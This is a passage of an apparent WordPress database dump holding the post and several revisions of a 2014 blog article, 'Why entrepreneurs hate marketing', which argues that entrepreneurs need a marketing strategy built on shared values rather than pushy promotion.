marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be an equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'publish', 'open', 'open', '', 'why-entrepreneurs-hate-marketing', '', '', '2014-08-19 11:29:44', '2014-08-19 18:29:44', '', 0, 'http://www.whitehotcenter.com/?p=2715', 0, 'post', '', 1),
(2717, 2, '2014-08-19 11:00:09', '2014-08-19 18:00:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s difficult for early-stage entrepreneurs to enjoy investing in an abstract activity that’s difficult to measure effectiveness.</h1>\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\n\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\n\nI’m thinking they do!\n\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\n\n<strong>A glut of marketing gurus.</strong>\n\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\n\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\n\nOf course the downside of all this is more noise and clutter!\n\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\n\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\n\n<strong>There is no easy button.</strong>\n\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\n\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more a more complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\n<strong>To push or to pull that is the question.</strong>\n\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\n\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\n\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\n\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\n\n<strong>The cart before the horse.</strong>\n\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\n\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\n\nThe familiar expression “ready, fire, aim” applies here.\n\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\n\n<strong>The core elements of a modern marketing strategy.</strong>\n\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\n\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\n\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\n\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\n\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\n\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\n\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\n\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, email me.</em>\n\n&nbsp;\n\n<em> </em>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision', '', '', '2014-08-19 11:00:09', '2014-08-19 18:00:09', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision/', 0, 'revision', '', 0),
(2718, 2, '2014-08-19 11:00:36', '2014-08-19 18:00:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s difficult for early-stage entrepreneurs to enjoy investing in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more a more complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-2', '', '', '2014-08-19 11:00:36', '2014-08-19 18:00:36', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-2/', 0, 'revision', '', 0);
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(2719, 2, '2014-08-19 11:00:42', '2014-08-19 18:00:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s difficult for early-stage entrepreneurs to enjoy investing in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more a more complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-3', '', '', '2014-08-19 11:00:42', '2014-08-19 18:00:42', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-3/', 0, 'revision', '', 0),
(2720, 2, '2014-08-19 11:01:50', '2014-08-19 18:01:50', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more a more complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-4', '', '', '2014-08-19 11:01:50', '2014-08-19 18:01:50', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-4/', 0, 'revision', '', 0),
(2721, 2, '2014-08-19 11:01:54', '2014-08-19 18:01:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more a more complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early 